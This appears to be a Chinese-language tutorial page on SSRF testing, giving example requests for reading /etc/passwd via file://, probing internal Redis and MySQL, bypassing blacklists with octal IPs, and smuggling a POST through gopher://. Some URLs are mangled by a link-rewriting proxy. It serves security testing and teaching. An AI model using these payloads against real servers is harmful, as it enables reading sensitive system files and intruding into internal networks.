SSRF测试案例
时间: 2025-07-07 17:14:36 浏览: 2
SSRF(Server Side Request Forgery)漏洞测试用例和利用示例通常围绕服务端请求伪造的特性展开,目的是验证是否存在能够使服务器向攻击者指定的目标发起请求的安全缺陷。以下是几个典型的测试用例及利用示例:
### 测试本地文件访问
在许多 SSRF 漏洞场景中,攻击者可以通过 `file://` 协议读取服务器上的敏感文件。例如,尝试通过修改参数来读取 `/etc/passwd`:
```http
GET /vulnerable_page?url=file:///etc/passwd HTTP/1.1
```
如果服务器没有对目标地址进行过滤和限制,则可能返回 `/etc/passwd` 文件的内容[^3]。
### 利用内网探测
攻击者可以尝试访问内部网络资源,如数据库、Redis 或其他内部服务。以访问 Redis 为例:
```http
GET /vulnerable_page?url=http://127.0.0.1:6379 HTTP/1.1
```
若成功连接到 Redis 服务器,可能会返回 Redis 的版本信息或执行命令的结果。这种技术常用于探测内网服务并获取进一步的信息[^4]。
### 使用 dict 协议探测端口
某些支持 `dict` 协议的服务可以通过 SSRF 进行利用,例如探测本地端口状态:
```http
GET /vulnerable_page?url=dict://127.0.0.1:3306/info HTTP/1.1
```
该请求可以用来检查 MySQL 服务是否运行在默认端口上,并获取部分信息。此方法适用于支持 `dict` 协议的环境[^4]。
### 绕过黑名单限制
为了防止 SSRF 攻击,一些系统会对目标 URL 做黑名单校验,但这些规则往往可以通过编码或使用特殊字符绕过。例如,使用 IP 地址的八进制表示法来访问本地服务:
```http
GET /vulnerable_page?url=http://0177.0.0.01:80/internal HTTP/1.1
```
在这种情况下,服务器可能无法正确识别这是对本地服务的访问请求,从而导致 SSRF 成功利用[^1]。
### 利用 Gopher 协议发送 POST 请求
Gopher 协议是一种早期的互联网协议,它可以在 SSRF 中被用来构造复杂的请求,包括向远程服务器发送 POST 数据。以下是一个简单的示例:
```http
GET /vulnerable_page?url=gopher://target.com:80/_POST%20/login%20HTTP/1.1%0D%0AHost:%20target.com%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2013%0D%0A%0D%0Ausername=admin&password=admin HTTP/1.1
```
通过这种方式,攻击者可以尝试模拟登录请求或其他类型的交互操作,进而扩大攻击面[^4]。
### 使用 Burp Suite 工具辅助测试
Burp Suite 是一款常用的 Web 安全测试工具,在 SSRF 测试过程中可以帮助拦截和修改请求。例如,在 Pikachu 靶场中,可以使用 Burp 插件检测是否存在 SSRF 漏洞,并通过重放请求的方式验证漏洞是否可被利用[^2]。
### 手工验证的重要性
尽管有自动化工具如 SSRFmap 可以帮助发现和利用 SSRF 漏洞,但在实际测试中仍然需要手工验证。因为工具可能存在 Bug 或者不兼容的情况,比如 SSRFmap 在 Pikachu 靶场中的 SSRF(curl)题目未能成功利用,甚至在开启 portscan 模块后出现死循环问题。因此,安全研究人员应结合自身经验与工具结果进行综合判断[^1]。
阅读全文
相关推荐


















